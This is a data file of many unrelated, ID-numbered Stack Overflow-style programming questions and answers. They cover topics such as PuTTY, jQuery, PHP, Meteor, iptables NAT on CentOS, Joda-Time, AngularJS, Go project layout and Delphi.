3688164	0	 <p>I don't have any trouble getting a connection using</p> <pre><code>C:\Program Files\PuTTY&gt; putty -ssh -l &lt;username&gt; &lt;hostname or host ip&gt; </code></pre> <p>The only things that leap to mind are either 1) a problem with the script used as part of the <code>-m</code> argument, or 2) an incorrect use of capitals. Could the error message be generated by the script rather than the command? Could you possibly have used </p> <pre><code>C:\Program Files\PuTTY&gt; putty -ssh -L &lt;username&gt; &lt;hostname or host ip&gt; </code></pre> <p>A capital <code>L</code> is for a port-forwarding setup, while lowercase <code>l</code> is for specifying a login (username).</p> <p>A couple of notes:</p> <p><code>plink</code> does a similar job without opening a new window. Might be worth exploring, but the commands are pretty much identical.</p> <p>It's generally not a good idea to put plaintext passwords on the command line. You would be better off exploring keys, especially if this is for an automated process. A quick search will turn up a variety of links, but you'll need to check for the best way to handle your particular situation. If you want this to operate as part of an automated script, you'll do different things than if you want to run it as part of an interactive session where you already have Pageant running.</p> <p>If you do go with keys, then your command line becomes</p> <pre><code>putty -ssh &lt;username&gt;@&lt;host&gt; -m &lt;script on local machine&gt; </code></pre>
23105566	0	JQuery button click function not working <p>I'm new to JQuery and my problem is that I have a button in a modal such that when I click it, a JQuery script is run. Pieces of code so far:</p> <pre><code>&lt;a id="submitMe" class="btn btn-default btn-primary"&gt;Submit&lt;/a&gt; $(document).ready(function (){ $("#submitMe").click(function(){ alert("Something to alert"); }); }); </code></pre> <p>Thanks for all your help!</p>
30132971	0	 <blockquote> <p>Is it possible to insert a character to the left of text</p> </blockquote> <p>You did so, in your code snippet in your question.</p> <blockquote> <p>I can change color/size of that character?</p> </blockquote> <p>You are welcome to wrap that character in <code>ForegroundColorSpan</code>, <code>RelativeSizeSpan</code>, etc., using a <code>SpannableString</code> instead of a regular string.</p> <p>Or, use a <code>BulletSpan</code> and skip the character, though I don't think you can control the size of the bullet.</p> <blockquote> <p>I can also create a custom drawable which is a "oval" shape of blue color but how can I insert that to the left of "my text" so that the effect is as below.</p> </blockquote> <p>Either use an <code>ImageSpan</code> or find a library that allows you to wrap text around an image in a <code>TextView</code> (I'm pretty sure there is one, though I'm not coming up with it on a quick search).</p>
858207	0	 <p>If you can modify the configuration file on the server here's what you can do to get the exception information through the service.</p> <p>You need to add a service behavior section to the server's config.</p> <pre><code>&lt;behaviors&gt; &lt;serviceBehaviors&gt; &lt;behavior name="serviceNameBehavior"&gt; &lt;serviceDebug includeExceptionDetailInFaults="True" /&gt; &lt;/behavior&gt; &lt;/serviceBehaviors&gt; &lt;/behaviors&gt; </code></pre> <p>Then associate the service with that behavior.</p> <pre><code>&lt;service name="serviceName" behaviorConfiguration="serviceNameBehavior" ... </code></pre>
9824833	0	 <p>The problem is that you are loading the lang file from inside a function, which means that <code>$lang</code> does not get placed into the global scope but rather the local function scope.</p> <p><strong>Minimum required change to make it work (but not a good idea)</strong></p> <p>Assuming you <em>want</em> <code>$lang</code> to be placed inside the global scope, you could do so explicitly:</p> <pre><code>public function lang($file, $language){ require 'languages/'.$language.'/'. $file . '.php'; $GLOBALS['lang'] = $lang; // "export" to global scope } </code></pre> <p><strong>A much better idea</strong></p> <p>There are several things that can be improved:</p> <ol> <li>The function above writes the contents of the global variable <code>$lang</code> "behind the caller's back" -- that's not good design, and it makes the code harder to maintain</li> <li>As it stands, it loads the language file from scratch every time you call it</li> </ol> <p>You can kill both birds with one stone by storing the language file contents inside a <code>static</code> local variable and returning it from the function: there is no more writing to the global scope, and the variable keeps its contents so you don't have to reload the language file every time. It would look like this:</p> <pre><code>public function lang($file, $language){ static $cache = array(); if (empty($cache[$language][$file])) { // load language files on demand require 'languages/'.$language.'/'. $file . '.php'; $cache[$language][$file] = $lang; } return $lang; // return requested data, which is now definitely cached } </code></pre> <p>And to use it, you would do:</p> <pre><code>$lang = $this-&gt;lang('global', 'en'); </code></pre> <p>Dumping raw variables into the global scope like this is not always the best idea, but depending on the circumstances (small projects) it might be OK.</p>
26229122	0	 <p>In Eclipse's do following steps </p> <p>Step 1. Project → Clean</p> <p>Step 2. Build and Run your Application. </p>
37785931	0	store array data retrieved from forms to database <p>I have a form. And there is add button to add more forms according to requirement. The Working demo is in JSFiddle. <a href="https://jsfiddle.net/szn0007/eanhpLkg/" rel="nofollow">https://jsfiddle.net/szn0007/eanhpLkg/</a></p> <p>My PHP code is :</p> <pre><code>$data['client_name'] = $_POST['client_name']; $data['address'] = $_POST['address']; $data['fiber_length'] = $_POST['fiber_length']; $data['phone_number'] = $_POST['phone_number']; $data['package'] = $_POST['package']; $data['result'] = $_POST['result']; $data['remarks'] = $_POST['remarks']; foreach($data['client_name'] as $c ) { $sql = "INSERT INTO ct_staff_activity_ftth(client_name) VALUE('$c') "; $this-&gt;db-&gt;query($sql); } </code></pre> <p>How can i insert all the dataas entered at once.</p>
14191644	0	Simple meteor insert not working <p>I am just getting started messing around with Meteor and can't get the following code for a simple Collection.insert to update the database when the event is triggered. I can even see the page update with the value of the text field for a split-second before disappearing (presumably once Meteor realized the value wasn't written to the server). Inserting via the console works just fine... Is there some basic concept that I am overlooking?</p> <p>file.js</p> <pre><code>var Tasks = new Meteor.Collection("Tasks"); if (Meteor.isClient) { Template.main.task = function() { return Tasks.find({}); }; Template.main.events = { 'click #submit' : function(event) { var task = document.getElementById("text").value; Tasks.insert({title: task}); } }; } </code></pre> <p>file.html</p> <pre><code>&lt;body&gt; {{&gt; main}} &lt;/body&gt; &lt;template name="main"&gt; &lt;form class="form-inline"&gt; &lt;input type="text" id="text" class="input-small" /&gt; &lt;input type="Submit" class="btn" id="submit" value="Submit"/&gt; &lt;/form&gt; {{#each task}} &lt;span id="output"&gt;{{title}}&lt;/span&gt; {{/each}} &lt;/template&gt; </code></pre>
36876055	0	CentOS 7, what happened to DNAT? <p>I am doing some firewall work on CentOS 7. My end goal is to essentially make the server's internal ip address is the same as the floating ip address assigned to it. I disabled firewalld and installed iptables-services.</p> <p>/etc/redhat-release</p> <pre><code>CentOS Linux release 7.2.1511 (Core) </code></pre> <p>iptables v1.4.21</p> <p>When running this script I get </p> <blockquote> <p>iptables v1.4.21: unknown option "SNAT" as well as unknown option "DNAT"</p> </blockquote> <p>My script is </p> <pre><code>#!/bin/bash PRIVIP="107.170.40.128" # e.g., assuming this is the private IP address FLOATIP="104.196.55.167" # e.g. assuming this is the floating IP address echo "iptables" echo "/sbin/iptables -t nat -A PREROUTING -d ${PRIVIP}/32 -j DNAT -–to-destination ${FLOATIP}" /sbin/iptables -t nat -A PREROUTING -d ${PRIVIP}/32 -j DNAT -–to-destination ${FLOATIP} echo "/sbin/iptables -t nat -A POSTROUTING -s ${FLOATIP}/32 -j SNAT -–to-source ${PRIVIP}" /sbin/iptables -t nat -A POSTROUTING -s ${FLOATIP}/32 -j SNAT -–to-source ${PRIVIP} echo "arp" /sbin/arp -i eth0 -Ds ${PRIVIP} eth0 netmask 255.255.255.255 pub /sbin/arp -an echo "sleep" sleep 10 systemctl restart network </code></pre> <p>What happened to the DNAT and SNAT options that are in Centos 6? </p>
38532122	0	 <p>Maybe:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>alert(/^\{{2}[\w|\s]+\}{2}$/.test('{{FirstName}}'))</code></pre> </div> </div> </p> <p><code>^</code>: In the beginning.</p> <p><code>$</code>: In the end.</p> <p><code>\{{2}</code>: Character <code>{</code> 2 times.</p> <p><code>[\w|\s]+</code>: Alphabet characters or whitespace 1 or more times.</p> <p><code>\}{2}</code>: Character <code>}</code> 2 times.</p> <p><strong>UPDATE:</strong></p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>alert(/(^\{{2})?[\w|\s]+(\}{2})?$/.test('FirstName'))</code></pre> </div> </div> </p>
261667	0	 <p>You can find the error codes <a href="http://vista.intersystems.com/csp/docbook/DocBook.UI.Page.cls?KEY=RSQL_sqlerrors" rel="nofollow noreferrer">here</a></p>
13669241	0	 <p>Will this work for you?</p> <pre><code>String.prototype.regexIndexOf = function(regex, startpos) { var indexOf = this.substring(startpos || 0).search(regex); return (indexOf &gt;= 0) ? (indexOf + (startpos || 0)) : indexOf; } </code></pre> <p>See <a href="http://jsfiddle.net/rCn3Q/2/" rel="nofollow">JSfiddle</a></p>
32201061	0	Google Pie Chart Using Array <p>I have tried to implement the following code using an array of two sets of values but the line graph does not show:</p> <pre><code>function drawChart() { var lineTotalDistance = &lt;?php echo json_encode($DistanceTotalArray) ?&gt;; var lineSpeed = &lt;?php echo json_encode($SpeedArray) ?&gt;; //alert(lineTotalDistance.length); //alert(lineSpeed.length); var data = new google.visualization.DataTable(); data.addColumn('number', 'Total Distance'); data.addColumn('number', 'Speed KM/H'); for(var i=0;i &lt; lineTotalDistance.length; i++) { data.addRows([ [lineTotalDistance, lineSpeed ] ]); } } </code></pre>
16002871	0	 <p>I have been unable to get the <code>itemStyle</code> property of <code>credits</code> to work. </p> <p>Instead, taking inspiration from <a href="http://stackoverflow.com/questions/9732205/place-text-in-center-of-pie-chart-highcharts">Place text in center of pie chart - Highcharts</a>, I have come up with this little fiddle: <a href="http://jsfiddle.net/2P98N/22/" rel="nofollow">http://jsfiddle.net/2P98N/22/</a></p>
4993145	0	 <pre><code>$sql = "SELECT * FROM my_table"; $ressource_sql = execute_sql($sql); while ($row = mysql_fetch_assoc($ressource_sql)) { $ligne_hve.=$row['id'] . ';'; $ligne_hve.= iconv(input charset, 'windows-1252//TRANSLIT', $row['name']) . ';'; $ligne_hve.= iconv(input charset, 'windows-1252//TRANSLIT', $row['products']) . ';'; $ligne_hve .= "\n"; } $file_hve = fopen($file_export_hve, "w+"); fwrite($file_hve, $ligne_hve); fclose($file_hve); </code></pre> <p>The input charset is iso-8859-1.</p>
14491532	0	 <p>If you want to use Base still then you are going to have to do this to use those functions:</p> <pre><code>if (Button1) { dynamic_cast&lt;Client*&gt;(connection)-&gt;A(); } else { dynamic_cast&lt;Host*&gt;(connection)-&gt;B(); } </code></pre> <p>And you will need to make connection a pointer. <code>Base * connection</code>.</p> <p>This isn't really ideal though. You should investigate a different way to do it like in the other answers. </p>
26321084	0	 <p>My <a href="http://stackoverflow.com/a/26320857/642706">other answer</a> correctly solves the direct problem raised in the Question. This answer is a bonus, an alternate avenue to accomplish the goal of calculating and applying elapsed time.</p> <p>Doing this kind of date-time work is much easier if using either of these libraries:</p> <ul> <li><a href="http://www.joda.org/joda-time/" rel="nofollow">Joda-Time</a></li> <li><a href="http://docs.oracle.com/javase/8/docs/api/java/time/package-summary.html" rel="nofollow">java.time package</a><br/>(built into Java 8, inspired by Joda-Time, defined by <a href="https://jcp.org/en/jsr/detail?id=310" rel="nofollow">JSR 310</a>)</li> </ul> <p>The old date-time classes (java.util.Date, .Calendar, java.text.SimpleDateFormat) bundled with Java are notoriously troublesome, confusing, and flawed. Avoid them. If required you can convert to-and-fro with either library listed above.</p> <h1>Joda-Time</h1> <p>The code example below is using Joda-Time 2.5.</p> <h2>Elapsed Time</h2> <p>You can count elapsed time in either of two ways: </p> <ul> <li><strong>Calendar</strong> style<br/>Number of months, weeks, days, and such.</li> <li><strong>Stopwatch</strong> style<br/>Total number of milliseconds, as if measured with a running <a href="http://en.wikipedia.org/wiki/Stopwatch" rel="nofollow">stopwatch</a>.</li> </ul> <p>These two ways to measure elapsed time may give different results! This code example shows both.</p> <h2>Time Zone</h2> <p>Unlike j.u.Date, a <code>DateTime</code> object in Joda-Time actually knows its own assigned time zone. That is crucial if you count elapsed time by the calendar style (months, days, and so on). Note how this example uses Montréal, Québec time zone (arbitrarily chosen).</p> <h2>Example Code</h2> <pre><code>// Simulate inputs, a trio of java.util.Date objects. java.util.Date dateStart = new DateTime( 2014 , 1 , 2 , 0 , 0 , 0 , DateTimeZone.UTC ).toDate(); java.util.Date dateStop = new DateTime( 2014 , 3 , 2 , 0 , 0 , 0 , DateTimeZone.UTC ).toDate(); java.util.Date dateTarget = new DateTime( 2014 , 7 , 1 , 0 , 0 , 0 , DateTimeZone.UTC ).toDate(); // Convert inputs to Joda-Time DateTimeZone timeZone = DateTimeZone.forID( "America/Montreal" ); // Or DateTimeZone.UTC. DateTime start = new DateTime( dateStart , timeZone ); DateTime stop = new DateTime( dateStop , timeZone ); DateTime target = new DateTime( dateTarget , timeZone ); // Determine elapsed time in three fashions: (a) pair of points on timeline, (b) An amount of weeks, days, hours, and such, and (c) actual milliseconds. Interval interval = new Interval( start , stop ); Period period = interval.toPeriod(); Duration duration = interval.toDuration(); // Add elapsed time to target date-time. Show results of adding either period or duration. DateTime laterByPeriod = target.plus( period ); DateTime laterByDuration = target.plus( duration ); </code></pre> <p>Dump to console.</p> <pre><code>System.out.println( "dateStart: " + dateStart ); // BEWARE: j.u.Date objects are in UTC by definition, but "toString" method applies the JVM's current default time zone. Misleading! System.out.println( "dateStop: " + dateStop ); System.out.println( "dateTarget: " + dateTarget ); System.out.println( "start: " + start ); System.out.println( "stop: " + stop ); System.out.println( "target: " + target ); System.out.println( "interval: " + interval ); System.out.println( "period: " + period ); System.out.println( "duration: " + duration ); System.out.println( "laterByPeriod: " + laterByPeriod ); // Notice the change in offset because of DST (Daylight Saving Time) in Québec. System.out.println( "laterByDuration: " + laterByDuration ); </code></pre> <p>When run.</p> <pre class="lang-none prettyprint-override"><code>dateStart: Wed Jan 01 16:00:00 PST 2014 dateStop: Sat Mar 01 16:00:00 PST 2014 dateTarget: Mon Jun 30 17:00:00 PDT 2014 start: 2014-01-01T19:00:00.000-05:00 stop: 2014-03-01T19:00:00.000-05:00 target: 2014-06-30T20:00:00.000-04:00 interval: 2014-01-01T19:00:00.000-05:00/2014-03-01T19:00:00.000-05:00 period: P2M duration: PT5097600S laterByPeriod: 2014-08-30T20:00:00.000-04:00 laterByDuration: 2014-08-28T20:00:00.000-04:00 </code></pre>
23333081	0	 <p>If the contents of the iframe is from the same domain you can access it by:</p> <pre><code>$('#edit-resp398__ifr').contents().find(selector)... </code></pre>
31834593	0	Target framework dnx451 or net451 in class library projects <p>From what I understand, the target frameworks <code>dnx451</code> and <code>net451</code> both use the desktop .NET Framework 4.5.1. <code>dnx451</code> is especially intended for DNX runtime application and supports ASP.NET 5.</p> <p>If we have a solution with a ASP.NET 5 project and multiple class libraries, should they all target <code>dnx451</code> or does only the web project need to target <code>dnx451</code>? Could the class libraries just target <code>net451</code>?</p>
28548533	0	Using JSON object using Angular and rest service <p>I have this service method</p> <pre><code>public object Get(EmployeeAccountsRequest request) { var list=userList.ToList(); var jsonSerialiser = new JavaScriptSerializer(); var json = jsonSerialiser.Serialize(list); return json; } </code></pre> <p>Definition of EmployeeAccountRequest request class</p> <pre><code>[Route("/employeeaccount", "GET")] public class AllUserAccountsRequest : IReturn&lt;object&gt; { public int projectNumber{ get; set; } public int class{ get; set; } } </code></pre> <p>which returns following JSON object.</p> <pre><code>[{"name": "Moroni", "allowance": 550, "paid": true}, {"name": "Tiancum", "allowance": 53, "paid": false}, {"name": "Jacob", "allowance": 27, "paid": false}] </code></pre> <p>Resource to get this data from service is as following:</p> <pre><code> angular.module('accService', ['ngResource']).factory('EmployeeAccount', function($resource) { return $resource('/api/employeeaccount/:id', {}, { get: { method: 'GET', }, query: { method: 'GET', }, update: { method: 'PUT' }, }); }); </code></pre> <p>And trying to receive this value in controller </p> <pre><code> var app = angular.module('EmployeeApp'); app.controller('EmployeeAccountsController', function($scope, $http, EmployeeAccount) { console.log(EmployeeAccount.query()) } </code></pre> <p>But i am not receiving the JSON object here. The above setup works fine if i return a list of array from my method.</p> <p>So the question becomes why would a list of array is received properly and not a simple JSON object. Please let me know, if more information is needed.</p>
17429964	0	 <p>There is never a guarantee that you will not get stuck in a local optimum, sadly. Unless you can prove certain properties about the function you are trying to optimize, local optima exist and hill-climbing methods will fall prey to them. (And typically, if you can prove the things you need to prove, you can also select a better tool than a neural network.)</p> <p>One classic technique is to gradually reduce the learning rate, then increase it and slowly draw it down, again, several times. Raising the learning rate reduces the stability of the algorithm, but gives the algorithm the ability to jump out of a local optimum. This is closely related to simulated annealing.</p> <p>I am surprised that Google has not helped you, here, as this is a topic with many published papers: Try terms like, "local minima" and "local minima problem" in conjunction with neural networks and backpropagation. You should see many references to improved backprop methods. </p>
27951964	0	 <p>In order to put the result from your <code>apply()</code> call into a data frame, you could do</p> <pre><code>df &lt;- data.frame(id=data$id, largest_value_var=apply(data[,-1], 1, function(x) names(x)[which.max(x)])) </code></pre> <p>Note that <code>c(names(x))</code> is the same as <code>names(x)</code>, so I omitted <code>c()</code>.</p>
18634136	1	Why do I get IndexError: list index out of range? <p>I keep getting the <code>IndexError</code> with a list. My code looks like this:</p> <pre><code>for x in range(len(MAIN_list[0])): print(x) print(MAIN_list[9][x]) print(MAIN_list[10][x]) print(MAIN_list[0][x] + "; " + MAIN_list[1][x] + \ "; " + MAIN_list[2][x] + "; " + MAIN_list[3][x] + \ "; " + MAIN_list[4][x] + "; " + MAIN_list[5][x] + \ "; " + MAIN_list[6][x] + "; " + MAIN_list[7][x] + \ "; " + MAIN_list[8][x] + "; " + MAIN_list[9][x] + \ "; " + MAIN_list[10][x]) </code></pre> <p>Now, the output is:</p> <pre><code>0 cross tick Traceback (most recent call last): File "C:\Users\Michele2\Desktop\Arcrate\MyCASH\Python Code\Scraping\Scraping1.3(clean)TEST.py", line 246, in &lt;module&gt; "; " + MAIN_list[10][x]) IndexError: list index out of range </code></pre> <p>I know that you'd usually get this error for variables outside the actual length of the list, but here I get the right output when I call it singularly (ie. row 3 of the output) but not when I try to print the list as a whole. Any though would be welcome.</p> <p>Thanks</p>
3081292	0	 <p><strike>I'm assuming this doesn't happen the first run through, but after some time. Is this correct?</strike></p> <p><strong>edit</strong>: <em>removed incorrect assumption, but there's still an issue with <code>IDisposable</code></em></p> <hr> <p>You're not disposing of NewImage, and this will cause you issues in production.</p> <p>I'd normally say 'just use a using', but try/finally is the same thing. Refactor to us a using at your own discretion.</p> <pre><code>System.Drawing.Image NewImage = null; System.Drawing.Image FullsizeImage = null; try { FullsizeImage = System.Drawing.Image.FromFile(OriginalFile); [... snip ... ] NewImage = FullsizeImage.GetThumbnailImage(NewWidth, NewHeight, null, IntPtr.Zero); // Clear handle to original file so that we can overwrite it if necessary FullsizeImage.Dispose(); // Save resized picture NewImage.Save(NewFile); } finally { if (FullsizeImage != null) FullsizeImage.Dispose(); if (NewImage != null) NewImage.Dispose(); } </code></pre>
39181025	0	 <p>It looks like that xine is not working correctly because <code>Das Netzwerk ist nicht erreichbar</code>. This stops vdr:</p> <pre><code>[2461] [xine..put] cXinelibServer: bind error 192.168.2.51 port 37890: Die angeforderte Adresse kann nicht zugewiesen werden [2461] [xine..put] (ERROR (frontend_svr.c,860): Die angeforderte Adresse kann nicht zugewiesen werden) [2461] [discovery] UDP broadcast send failed (discovery) [2461] [discovery] (ERROR (tools/vdrdiscovery.c,97): Das Netzwerk ist nicht erreichbar) </code></pre> <p>The network seems to be ok:</p> <pre><code>Feb 18 00:53:57 glubschi vdr: [2302] [xine..put] Listening on address '192.168.2.51' port 37890 </code></pre>
39829468	0	What is Web API and why to use it in .net? <p>Why to choose Web API ? It supports convention-based CRUD Actions since it works with HTTP verbs GET,POST,PUT and DELETE. Responses have an Accept header and HTTP status code. Responses are formatted by Web API’s MediaTypeFormatter into JSON, XML or whatever format you want to add as a MediaTypeFormatter.</p>
11585253	0	 <p><code>background-size: 100%</code> should do the trick.</p> <p>Here, <a href="http://jsfiddle.net/xGQtF/6/" rel="nofollow">http://jsfiddle.net/xGQtF/6/</a></p>
27273825	0	 <p>Can you please share which upload type you require? It seems that this code has a mix of both signed and unsigned uploads. For example, you use the <code>unsigned_upload_tag</code> method while also passing the <code>timestamp</code>, <code>api_key</code> and <code>signature</code> which are required only for signed uploads.</p>
12502879	0	 <p>I actually traced this back to an error in labeling the login button. The session was always open even when the button said 'log in'. I managed to correct this issue, but now I am discovering that indeed the app will not stay logged in across launches, but at least the login/logout button is always correct!</p>
10531745	0	 <p>(1) I always add this as you suggested</p> <pre><code>config.assets.initialize_on_precompile = false </code></pre> <p>(2) But also, if using ActiveAdmin and/or Devise, exclude their routes when precompiling assets by coding routes.rb as follows</p> <pre><code> unless ARGV.join.include?('assets:precompile') ActiveAdmin.routes(self) devise_for :admin_users, ...etc.... devise_for :users, ...etc... devise_scope :user do get "/login", ..etc end </code></pre> <p>as per <a href="https://github.com/gregbell/active_admin/issues/474" rel="nofollow">here</a> and elsewhere</p>
36841914	0	How do I get the column count of a table when there are cells with rowspan/colspan? <p>How do I get the column count of a table when there are cells with rowspan/colspan?</p> <p><strong>UPDATE:</strong> In this question I mean the classical (as far as I know) use of tables, when it's necessary to use the <code>colspan</code>, though it's not required by the specification (and table will look ugly but it will be valid).</p> <p>I need JavaScript/jQuery to get <code>11</code> for the following table (as 11 is the maximum number of columns for this table):</p> <pre><code>&lt;table border="1"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th rowspan="3"&gt;Lorem&lt;/th&gt; &lt;th rowspan="3"&gt;ipsum&lt;/th&gt; &lt;th rowspan="3"&gt;dolor&lt;/th&gt; &lt;th colspan="4"&gt;sit&lt;/th&gt; &lt;th colspan="4"&gt;amet&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;th colspan="3"&gt;consectetur&lt;/th&gt; &lt;th rowspan="2"&gt;adipisicing&lt;/th&gt; &lt;th rowspan="2"&gt;elit&lt;/th&gt; &lt;th rowspan="2"&gt;sed&lt;/th&gt; &lt;th rowspan="2"&gt;do&lt;/th&gt; &lt;th rowspan="2"&gt;eiusmod&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;th&gt;tempor&lt;/th&gt; &lt;th&gt;incididunt&lt;/th&gt; &lt;th&gt;ut&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt;&lt;/tbody&gt; &lt;/table&gt; </code></pre> <p><a href="https://jsfiddle.net/toahb3a3/" rel="nofollow">https://jsfiddle.net/toahb3a3/</a></p> <p>My personal solution is:</p> <pre><code>$(function(){ var max = 0; $('tr').each(function(){ var current = 0; $(this).find('th').each(function(){ var colspan = $(this).attr('colspan'); current += Number(colspan ? colspan : 1); }); max = Math.max(current, max); }); console.log(max); }); </code></pre> <p><a href="https://jsfiddle.net/mt7qhbqd/" rel="nofollow">https://jsfiddle.net/mt7qhbqd/</a></p> <p><strong>UPDATE:</strong> To solve this problem we need the sum of <code>th</code> elements plus their <code>colspan</code> in the very first row of <code>thead</code>. Thanks to Andy for his code, it's really compact and it gave me the thought that I need only the first row. Also, thanks to Quentin who pointed me to the case when <code>colspan</code> is not necessarily used, so Andy's alogrithm won't work (but Quentin's will). Also thanks to Quentin for helping me with the title, as my English isn't good enough.</p> <p><em>Can anybody explain why my question is voted negatively? What's wrong with it</em></p>
18587889	0	 <p>Try following:</p> <pre><code>import re lines = [ 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'Mozilla/5.0 (compatible; AhrefsBot/4.0; +http://ahrefs.com/robot/)', 'msnbot/2.0b (+http://search.msn.com/msnbot.htm)' ] botname = re.compile('\w+bot/[.\w]+', flags=re.IGNORECASE) for line in lines: matched = botname.search(line) if matched: print(matched.group()) </code></pre> <p>prints</p> <pre class="lang-none prettyprint-override"><code>Googlebot/2.1 AhrefsBot/4.0 msnbot/2.0b </code></pre> <p>assumed that bot agent names contain <code>bot/</code>.</p>
24069868	0	 <p>The problem is that your test does a poor job to migrate some factors in the hardware that make benchmarking hard. To test this, i've made my own test case. Something like this:</p> <pre><code>for blah blah: sleep(500ms) std::copy sse axv </code></pre> <p>output:</p> <pre><code>SSE: 1.11753x faster than std::copy AVX: 1.81342x faster than std::copy </code></pre> <p>So in this case, AVX is a bunch faster than std::copy. What happens when i change to test case to..</p> <pre><code>for blah blah: sleep(500ms) sse axv std::copy </code></pre> <p>Notice that absolutely nothing changed, except the order of the tests.</p> <pre><code>SSE: 0.797673x faster than std::copy AVX: 0.809399x faster than std::copy </code></pre> <p>Woah! how is that possible? The CPU takes a while to ramp up to full speed, so tests that are run later have an advantage. This question has 3 answers now, including an 'accepted' answer. But only the one with the lowest amount of upvotes was on the right track.</p> <p>This is one of the reasons why benchmarking is hard and you should never trust anyone's micro-benchmarks unless they've included detailed information of their setup. It isn't just the code that can go wrong. Power saving features and weird drivers can completely mess up your benchmark. One time i've measured an factor 7 difference in performance by toggling a switch in the bios that less than 1% of notebooks offer.</p>
11448616	0	Netgem n5200 (or other) - How to get into linux operating system layer? <p>After logging by PuTTY to Netgem n5200 device I have open in terminal kind of shell with about 40 commends, but no information about way how to close it and work directly on Linux. </p> <p>Device has for 99% installed HardHat Linux distribution (MontaVista Linux). From level of mentioned shell I can use some simple linux command like "! pwd", "! ls -l", "! ps". Maybe it would be useful that I'm in tmp dir and I can not leave it at this moment.</p> <p>I've already study Netgem SDK looking for information and I found nothing, the same result after searching in google, so that's why I came looking for help here.</p>
26489068	0	 <p>"Exception: The null object does not have a method 'querySelector'."</p> <p>Could that error possibly be because the <code>&lt;polymer-element&gt;</code> definition has no <code>&lt;template&gt;</code>? Perhaps a shadow DOM is never created in that instance, so <code>shadowRoot</code> is <code>null</code>. Just guessing here...</p> <p>I wonder, also, if <code>this..append()</code> attaches elements to the shadow DOM. Seems unlikely.</p>
16638560	0	 <p>Consider the same functions in a module (lets not think of shell right now)</p> <pre><code>-module(fun_test). -export([test/0]). test() -&gt; F1 = fun() -&gt; timer:sleep(1000) end, F2 = fun() -&gt; io:format("hello world~n", []) end, {F1,F2}. </code></pre> <p>Output is as follows</p> <pre><code>1&gt; fun_test:test(). {#Fun&lt;fun_test.0.78536365&gt;,#Fun&lt;fun_test.1.78536365&gt;} </code></pre> <p>In the above example the anonymous function objects F1 and F2 names are constructed using the name of the module fun_test, unique identifier 0 and 1 (incremental for each function in the module), return addresses etc. as defined in the <a href="http://erlang.org/doc/apps/erts/crash_dump.html#id79001" rel="nofollow">ERTS Manual</a>. This explains the paragraph mentioned in the manual. Though not very useful, the function numbering is handy during debugging as <code>-test/0-fun-1-</code> in the trace will tell you that anonymous function 1 in test/0 function is the source of the error. </p> <p>For the functions defined in the shell use erl_eval module as explained by rvirding. The result of function object declaration is the return of erl_eval for that arity. So always the same value is returned for that arity.</p>
8588759	0	 <p>There has been filebrowser demos out there written in Silverlight but they would run with elevated trust.</p> <p>That means that you would have to make the user immediately suspicious of your application when they first run it.</p> <p>It's probably a better user experience to just have a well worded error message for when the user runs out of space. </p> <p>Another option would be to try an increase the isolated storage quota by the size of the biggest video available.</p> <p><a href="http://msdn.microsoft.com/en-us/library/system.io.isolatedstorage.isolatedstoragefile.increasequotato(v=vs.95).aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.io.isolatedstorage.isolatedstoragefile.increasequotato(v=vs.95).aspx</a></p> <p>Then when that fails just let the user know that no more space can be allocated for the app had that he may need to delete older videos.</p>
848615	0	 <p>Parameteric types ( the word 'generics' is usually used in ECMAScript for <a href="https://developer.mozilla.org/en/New_in_JavaScript_1.6#Array_and_String_generics" rel="nofollow noreferrer">generic methods</a>, rather than the combination of parametric types and runtime polymorphism used in Java ) were <a href="http://wiki.ecmascript.org/doku.php?id=proposals:type_parameters" rel="nofollow noreferrer">proposed</a> as part of ES4, but ES4 fractured and much of the type system proposed for ES ( including the parts implemented in ActionScript ) are not going into the next version. I can't say whether or not Adobe would want to go that way by themselves.</p>
5505662	0	 <p>if in the plugin they do:</p> <pre><code>return this; //&lt;--jquery object </code></pre> <p>at the end then u can change it with other plugins :-)</p>
20319643	0	 <p>The functionality available in <code>IOUtils</code> is all you need. This code (tested on my Nexus 7) populates a <code>TMemo</code> with the files in your folder (if there are any):</p> <pre><code>uses IOUtils; procedure THeaderFooterForm.SpeedButton1Click(Sender: TObject); var DirList: TStringDynArray; DirPath: string; s: string; begin DirPath := TPath.Combine(TPath.GetDocumentsPath, 'assets'); DirPath := TPath.Combine(DirPath, 'internal'); // Display where we're looking for the files Memo1.Lines.Add('Searching ' + DirPath); if TDirectory.Exists(DirPath, True) then begin // Get all files. Non-Windows systems don't typically care about // extensions, so we just use a single '*' as a mask. DirList := TDirectory.GetFiles(DirPath, '*'); // If none found, show that in memo if Length(DirList) = 0 then Memo1.Lines.Add('No files found in ' + DirPath) else // Files found. List them. begin for s in DirList do Memo1.Lines.Add(s); end; end else Memo1.Lines.Add('Directory ' + DirPath + ' does not exist.'); end; </code></pre>
31126964	0	 <p>There's no "one way", but the common approach is to make your top-level repo your library - i.e. <code>github.com/you/somelib</code> and then have a <code>cmd</code> directory underneath that contains your CLI (package mains) - there may even be many.</p> <p>e.g.</p> <pre><code>yourlib/ api.go api_test.go handler.go handler_test.go cmd/ command-name/ main.go // Builds a "command-name" binary other-command/ main.go // Builds a "other-command" binary </code></pre> <p>Your CLI apps are just consumers of your library. Users can retrieve it via <code>go get github.com/you/yourlib/...</code> which will install the lib and the binaries onto their GOPATH.</p> <p>The Go <a href="https://github.com/golang/go/tree/master/src/cmd" rel="nofollow">source itself</a>, <a href="https://github.com/camlistore/camlistore" rel="nofollow">Camlistore</a> and <a href="https://github.com/boltdb/bolt" rel="nofollow">BoltDB</a> all use this approach (amongst many other libs).</p>
29544702	0	 <p>Like this:</p> <pre><code>private let phoneLabels = [ kABPersonPhoneMobileLabel, kABPersonPhoneIPhoneLabel, kABWorkLabel, kABHomeLabel, kABPersonPhoneMainLabel, kABPersonPhoneHomeFAXLabel, kABPersonPhoneWorkFAXLabel, kABPersonPhonePagerLabel, kABOtherLabel ] as [AnyObject] as! [String] </code></pre>
